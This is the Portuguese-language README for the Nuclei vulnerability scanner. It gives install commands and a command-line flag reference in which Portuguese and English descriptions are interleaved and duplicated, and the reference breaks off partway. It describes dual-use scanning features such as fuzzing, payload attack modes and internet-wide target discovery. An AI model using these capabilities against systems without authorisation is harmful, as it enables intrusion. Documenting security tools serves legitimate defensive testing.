<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white"></a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white"></a>
|
||||
|
||||
<hr>
|
||||
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#como-funciona">Como funciona</a> •
|
||||
<a href="#instalacao-do-nuclei">Instalação</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">Documentação</a> •
|
||||
<a href="#créditos">Créditos</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">Perguntas Frequentes</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Junte-se ao Discord</a>
|
||||
</p>
|
||||
<br>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">Portuguese</a>
|
||||
</p>
|
||||
**O Nuclei é um scanner de vulnerabilidades moderno e de alto desempenho que utiliza templates simples baseados em YAML. Ele permite projetar cenários personalizados de detecção de vulnerabilidades que simulam condições do mundo real, resultando em zero falsos positivos.**
|
||||
|
||||
---
|
||||
- Formato YAML simples para criar e personalizar templates de vulnerabilidade.
|
||||
- Contribuído por milhares de profissionais de segurança para lidar com vulnerabilidades em alta.
|
||||
- Reduza falsos positivos simulando passos reais para verificar uma vulnerabilidade.
|
||||
- Processamento paralelo de scan ultrarrápido e agrupamento de requisições.
|
||||
- Integre em pipelines de CI/CD para detecção de vulnerabilidades e testes de regressão.
|
||||
- Suporta múltiplos protocolos como TCP, DNS, HTTP, SSL, WHOIS, JavaScript, Code e mais.
|
||||
- Integra-se com Jira, Splunk, GitHub, Elastic, GitLab.
|
||||
|
||||
O Nuclei é utilizado para enviar solicitações para vários alvos baseados em um modelo, resultando em zero falsos positivos e proporcionando uma varredura rápida em um grande número de hosts. O Nuclei oferece suporte a uma variedade de protocolos, incluindo TCP, DNS, HTTP, SSL, Arquivo, Whois, Websocket, Headless, Código, entre outros. Com modelos poderosos e flexíveis, o Nuclei pode ser usado para modelar todos os tipos de verificações de segurança.
|
||||
<br>
|
||||
<br>
|
||||
|
||||
Temos um [repositório dedicado](https://github.com/projectdiscovery/nuclei-templates) que abriga vários tipos de modelos de vulnerabilidades, contribuídos por **mais de 300** pesquisadores e engenheiros de segurança.
|
||||
## Índice
|
||||
|
||||
## Como funciona
|
||||
- [**`Primeiros Passos`**](#primeiros-passos)
|
||||
- [_`1. Nuclei CLI`_](#1-nuclei-cli)
|
||||
- [_`2. Edições Pro e Enterprise`_](#2-edições-pro-e-enterprise)
|
||||
- [**`Documentação`**](#documentação)
|
||||
- [_`Flags de Linha de Comando`_](#flags-de-linha-de-comando)
|
||||
- [_`Scan em alvo único`_](#scan-em-alvo-único)
|
||||
- [_`Scan em múltiplos alvos`_](#scan-em-múltiplos-alvos)
|
||||
- [_`Scan de rede`_](#scan-de-rede)
|
||||
- [_`Scan com seu template personalizado`_](#scan-com-seu-template-personalizado)
|
||||
- [_`Conectar o Nuclei ao ProjectDiscovery`_](#conectar-o-nuclei-ao-projectdiscovery)
|
||||
- [**`Templates do Nuclei, Comunidade e Recompensas`**](#templates-do-nuclei-comunidade-e-recompensas-) 💎
|
||||
- [**`Nossa Missão`**](#nossa-missão)
|
||||
- [**`Contribuidores`**](#contribuidores-heart) ❤
|
||||
- [**`Licença`**](#licença)
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
## Primeiros Passos
|
||||
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
| :exclamation: **Aviso** |
|
||||
|---------------------------------|
|
||||
| **Este projeto está em desenvolvimento ativo**. Alterações significativas são esperadas em versões futuras. Consulte o changelog antes de atualizar. |
|
||||
| Este projeto foi desenvolvido principalmente para ser usado como uma ferramenta CLI independente. **Executar o Nuclei como um serviço pode implicar riscos de segurança.** É recomendável utilizá-lo com precaução e medidas de segurança adicionais. |
|
||||
_Instale o Nuclei na sua máquina. Comece seguindo o guia de instalação [**`aqui`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Além disso, oferecemos [**`um plano gratuito na nuvem`**](https://cloud.projectdiscovery.io/sign-up) com limites mensais gratuitos generosos:_
|
||||
|
||||
# Instalação do Nuclei
|
||||
- Armazene e visualize suas descobertas de vulnerabilidades
|
||||
- Escreva e gerencie seus templates do nuclei
|
||||
- Acesse os templates mais recentes do nuclei
|
||||
- Descubra e armazene seus alvos
|
||||
|
||||
O Nuclei requer **go1.24.2** para ser instalado corretamente. Execute o seguinte comando para instalar a versão mais recente:
|
||||
> [!Important]
|
||||
> |**Este projeto está em desenvolvimento ativo**. Espere mudanças incompatíveis entre versões. Revise o changelog antes de atualizar.|
|
||||
> |:--------------------------------|
|
||||
> | Este projeto foi construído principalmente para ser utilizado como ferramenta CLI standalone. **Executar o nuclei como serviço pode trazer riscos de segurança.** Recomenda-se usá-lo com cautela e medidas de segurança adicionais. |
|
||||
|
||||
<br>
|
||||
|
||||
### **2. Edições Pro e Enterprise**
|
||||
|
||||
_Para times de segurança e empresas, oferecemos um serviço hospedado na nuvem construído sobre o Nuclei OSS, ajustado para ajudá-lo a executar continuamente scans de vulnerabilidade em escala com seu time e fluxos de trabalho existentes:_
|
||||
|
||||
- Scans 50x mais rápidos
|
||||
- Scans em larga escala com alta precisão
|
||||
- Integrações com serviços de nuvem (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)
|
||||
- Jira, Slack, Linear, APIs e Webhooks
|
||||
- Relatórios executivos e de conformidade
|
||||
- Adicionalmente: Scan em tempo real, SAML SSO, plataforma compatível com SOC 2 (com opções de hospedagem na UE e EUA), workspaces de equipe compartilhados e mais
|
||||
- Estamos constantemente [**`adicionando novos recursos`**](https://feedback.projectdiscovery.io/changelog)!
|
||||
- **Ideal para:** Pentesters, times de segurança e empresas
|
||||
|
||||
[**`Cadastre-se no Pro`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) ou [**`fale com nosso time`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) se você tem uma organização grande e requisitos complexos.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Documentação
|
||||
|
||||
Acesse a [**`documentação completa do Nuclei aqui`**](https://docs.projectdiscovery.io/tools/nuclei/running). Se você é novo no Nuclei, confira nossa [**`série introdutória no YouTube`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl).
|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px"></a>
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
### Instalação
|
||||
|
||||
O `nuclei` requer **go >= 1.24.2** para instalar com sucesso. Execute o seguinte comando para obter o repositório:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
Para saber mais sobre como instalar o nuclei, consulte `https://docs.projectdiscovery.io/tools/nuclei/install`.
|
||||
|
||||
**Mais métodos de instalação [podem ser encontrados aqui](https://docs.projectdiscovery.io/tools/nuclei/install).**
|
||||
### Flags de Linha de Comando
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### Modelos do Nuclei
|
||||
|
||||
O Nuclei possui suporte integrado para download/atualização automática de modelos a partir da versão [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2). O projeto [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) fornece uma lista de modelos prontos para uso, atualizados constantemente pela comunidade.
|
||||
|
||||
Você também pode usar a flag `update-templates` para atualizar os modelos do Nuclei a qualquer momento; também pode criar seus próprios testes para seu fluxo de trabalho e necessidades específicas seguindo o [guia de modelos](https://docs.projectdiscovery.io/templates/) do Nuclei.
|
||||
|
||||
A referência de sintaxe YAML DSL está disponível [aqui](SYNTAX-REFERENCE.md).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### Uso
|
||||
Para exibir todas as flags da ferramenta:
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
Isso mostrará ajuda sobre a ferramenta. Aqui estão todas as opções que ela suporta.
|
||||
<details>
|
||||
<summary>Expandir todas as flags de ajuda</summary>
|
||||
|
||||
|
||||
```console
|
||||
Nuclei é um scanner de vulnerabilidades rápido e baseado em templates
|
||||
que se concentra em sua ampla configurabilidade, extensibilidade e facilidade de uso.
|
||||
```yaml
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] URLs/hosts a serem escaneados
|
||||
-l, -list string caminho do arquivo contendo a lista de URLs/hosts a serem escaneados (um por linha)
|
||||
-eh, -exclude-hosts string[] hosts a serem excluídos do escaneamento na lista de entrada (ip, cidr, hostname)
|
||||
-resume string retomar o escaneamento a partir de e salvar no arquivo especificado (a clusterização será desabilitada)
|
||||
-sa, -scan-all-ips escanear todos os IPs associados ao registro DNS
|
||||
-iv, -ip-version string[] versão de IP a escanear do nome do host (4,6) - (padrão 4)
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string modo do arquivo de entrada (list, burp, jsonl, yaml, openapi, swagger) (padrão "list")
|
||||
-ro, -required-only usar apenas campos obrigatórios no formato de entrada ao gerar requisições
|
||||
-sfv, -skip-format-validation pular a validação de formato (como variáveis ausentes) ao processar o arquivo de entrada
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates executar apenas os novos templates adicionados na última versão de nuclei-templates
|
||||
-ntv, -new-templates-version string[] executar os novos templates adicionados na versão especificada
|
||||
-as, -automatic-scan escaneamento da web automático utilizando a detecção de tecnologia do Wappalyzer para mapeamento de tags
|
||||
-t, -templates string[] lista de templates ou diretório de templates a executar (separados por vírgulas, arquivo)
|
||||
-turl, -template-url string[] URL de template ou lista contendo URLs de templates a executar (separados por vírgulas, arquivo)
|
||||
-w, -workflows string[] lista de fluxos de trabalho ou diretório de fluxos de trabalho a executar (separados por vírgulas, arquivo)
|
||||
-wurl, -workflow-url string[] URL de fluxo de trabalho ou lista contendo URLs de fluxos de trabalho para executar (separados por vírgulas, arquivo)
|
||||
-validate valida os templates passados para o nuclei
|
||||
-nss, -no-strict-syntax desativa a verificação de sintaxe estrita nos templates
|
||||
-td, -template-display exibe o conteúdo dos templates
|
||||
-tl lista todos os templates disponíveis
|
||||
-tgl lista todas as tags disponíveis
|
||||
-sign assina os templates com a chave privada definida na variável de ambiente NUCLEI_SIGNATURE_PRIVATE_KEY
|
||||
-code habilita o carregamento de templates baseados em protocolos de código
|
||||
-dut, -disable-unsigned-templates desativa a execução de templates não assinados ou com assinatura incompatível
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-ai, -prompt string generate and run template using ai prompt
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
-esc, -enable-self-contained enable loading self-contained templates
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates a serem executados com base nos autores (separados por vírgulas, arquivo)
|
||||
-tags string[] templates a serem executados com base em tags (separados por vírgulas, arquivo)
|
||||
-etags, -exclude-tags string[] templates a excluir com base em tags (separados por vírgulas, arquivo)
|
||||
-itags, -include-tags string[] tags a executar mesmo que estejam excluídas por padrão ou configuração
|
||||
-id, -template-id string[] templates a serem executados com base em IDs de template (separados por vírgulas, arquivo, permitem curingas)
|
||||
-eid, -exclude-id string[] templates a excluir com base em IDs de template (separados por vírgulas, arquivo)
|
||||
-it, -include-templates string[] caminho do arquivo de template ou diretório a executar mesmo que estejam excluídos por padrão ou configuração
|
||||
-et, -exclude-templates string[] caminho do arquivo de template ou diretório a excluir (separados por vírgulas, arquivo)
|
||||
-em, -exclude-matchers string[] matchers de template a excluir no resultado
|
||||
-s, -severity value[] templates a executar com base na criticidade. Valores possíveis: info, baixo, médio, alto, crítico, desconhecido
|
||||
-es, -exclude-severity value[] templates a excluir com base na criticidade. Valores possíveis: info, baixo, médio, alto, crítico, desconhecido
|
||||
-pt, -type value[] templates a executar com base no tipo de protocolo. Valores possíveis: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates a excluir com base no tipo de protocolo. Valores possíveis: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates a executar com base em condição de expressão
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string arquivo de saída para salvar as ocorrências/vulnerabilidades detectadas
|
||||
-sresp, -store-resp armazenar todas as solicitações/respostas enviadas pelo nuclei no diretório de saída
|
||||
-srd, -store-resp-dir string armazenar todas as solicitações/respostas enviadas pelo nuclei em um diretório personalizado (padrão "output")
|
||||
-silent exibir apenas os resultados
|
||||
-nc, -no-color desativar a coloração do conteúdo de saída (códigos de escape ANSI)
|
||||
-j, -jsonl salvar a saída no formato JSONL(ines)
|
||||
-irr, -include-rr -omit-raw incluir pares solicitação/resposta nas saídas JSON, JSONL e Markdown (apenas para achados) [OBSOLETO usar -omit-raw] (padrão true)
|
||||
-or, -omit-raw omitir os pares solicitação/resposta nas saídas JSON, JSONL e Markdown (apenas para achados)
|
||||
-ot, -omit-template omitir o template codificado na saída JSON, JSONL
|
||||
-nm, -no-meta desativar a exibição de metadados dos resultados na saída CLI
|
||||
-ts, -timestamp ativar a exibição do carimbo de data/hora na saída CLI
|
||||
-rdb, -report-db string banco de dados de relatórios do nuclei (usar sempre para persistir os dados dos relatórios)
|
||||
-ms, -matcher-status exibir o estado de falha de correspondência
|
||||
-me, -markdown-export string diretório para exportar resultados no formato Markdown
|
||||
-se, -sarif-export string arquivo para exportar resultados no formato SARIF
|
||||
-je, -json-export string arquivo para exportar resultados no formato JSON
|
||||
-jle, -jsonl-export string arquivo para exportar resultados no formato JSONL(ines)
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string caminho do arquivo de configuração do nuclei
|
||||
-fr, -follow-redirects ativar o acompanhamento de redirecionamentos para templates HTTP
|
||||
-fhr, -follow-host-redirects seguir redirecionamentos no mesmo host
|
||||
-mr, -max-redirects int número máximo de redirecionamentos a seguir para templates HTTP (padrão 10)
|
||||
-dr, -disable-redirects desativar redirecionamentos para templates HTTP
|
||||
-rc, -report-config string arquivo de configuração do módulo de relatórios do nuclei
|
||||
-H, -header string[] cabeçalho/cookie personalizado a incluir em todas as solicitações HTTP no formato header:value (CLI, arquivo)
|
||||
-V, -var value variáveis personalizadas no formato key=value
|
||||
-r, -resolvers string arquivo contendo uma lista de resolvers para o nuclei
|
||||
-sr, -system-resolvers usar resolução DNS do sistema como fallback em caso de erro
|
||||
-dc, -disable-clustering desativar o agrupamento de solicitações
|
||||
-passive ativar o modo de processamento passivo de respostas HTTP
|
||||
-fh2, -force-http2 forçar conexões HTTP2 nas solicitações
|
||||
-ev, -env-vars ativar o uso de variáveis de ambiente no template
|
||||
-cc, -client-cert string arquivo de certificado de cliente (codificado em PEM) usado para autenticar-se contra os hosts escaneados
|
||||
-ck, -client-key string arquivo de chave de cliente (codificado em PEM) usado para autenticar-se contra os hosts escaneados
|
||||
-ca, -client-ca string arquivo de autoridade de certificação de cliente (codificado em PEM) usado para autenticar-se contra os hosts escaneados
|
||||
-sml, -show-match-line exibir linhas de correspondência para templates de arquivo, funciona apenas com extratores
|
||||
-ztls usar a biblioteca ztls com fallback automático para padrão no tls13 [OBSOLETO] fallback automático para ztls já está ativado por padrão
|
||||
-sni string nome de host tls sni a ser usado (padrão: nome de domínio de entrada)
|
||||
-dt, -dialer-timeout value tempo limite para solicitações de rede
|
||||
-dka, -dialer-keep-alive value duração do keep-alive para solicitações de rede
|
||||
-lfa, -allow-local-file-access permitir acesso a arquivos (payload) em qualquer lugar do sistema
|
||||
-lna, -restrict-local-network-access bloquear conexões à rede local/privada
|
||||
-i, -interface string interface de rede a ser usada para o escaneamento de rede
|
||||
-at, -attack-type string tipo de combinações de payload a realizar (batteringram, pitchfork, clusterbomb)
|
||||
-sip, -source-ip string endereço IP de origem a ser usado para o escaneamento de rede
|
||||
-rsr, -response-size-read int tamanho máximo de resposta a ser lido em bytes (padrão 10485760)
|
||||
-rss, -response-size-save int tamanho máximo de resposta a ser salvo em bytes (padrão 1048576)
|
||||
-reset remove todos os arquivos de configuração e dados do nuclei (incluindo os nuclei-templates)
|
||||
-tlsi, -tls-impersonate ativar randomização experimental do client hello (ja3) tls
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allows file (payload) access anywhere on the system
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string URL do servidor interactsh para instância auto-hospedada (padrão: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string token de autenticação para o servidor interactsh auto-hospedado
|
||||
-interactions-cache-size int número de solicitações a serem mantidas no cache de interações (padrão 5000)
|
||||
-interactions-eviction int número de segundos a esperar antes de remover solicitações do cache (padrão 60)
|
||||
-interactions-poll-duration int número de segundos a esperar antes de cada solicitação de polling de interações (padrão 5)
|
||||
-interactions-cooldown-period int tempo adicional para o polling de interações antes de encerrar (padrão 5)
|
||||
-ni, -no-interactsh desativar o servidor interactsh para testes OAST, excluir templates baseados em OAST
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string sobrescreve o tipo de fuzzing definido no template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string sobrescreve o modo de fuzzing definido no template (multiple, single)
|
||||
-fuzz habilita o carregamento de templates de fuzzing (Obsoleto: usar -dast em vez disso)
|
||||
-dast executa apenas templates DAST
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dts, -dast-server enable dast server mode (live fuzzing)
|
||||
-dtr, -dast-report write dast scan report to file
|
||||
-dtst, -dast-server-token string dast server token (optional)
|
||||
-dtsa, -dast-server-address string dast server address (default "localhost:9055")
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
-cs, -fuzz-scope string[] in scope url regex to be followed by fuzzer
|
||||
-cos, -fuzz-out-scope string[] out of scope url regex to be excluded by fuzzer
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover ativa o motor uncover
|
||||
-uq, -uncover-query string[] consulta de busca uncover
|
||||
-ue, -uncover-engine string[] motor de busca uncover (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (padrão shodan)
|
||||
-uf, -uncover-field string campos uncover a serem retornados (ip,port,host) (padrão "ip:port")
|
||||
-ul, -uncover-limit int resultados uncover a serem retornados (padrão 100)
|
||||
-ur, -uncover-ratelimit int sobrescreve o limite de taxa dos motores com o limite de taxa do motor uncover (padrão 60 req/min)
|
||||
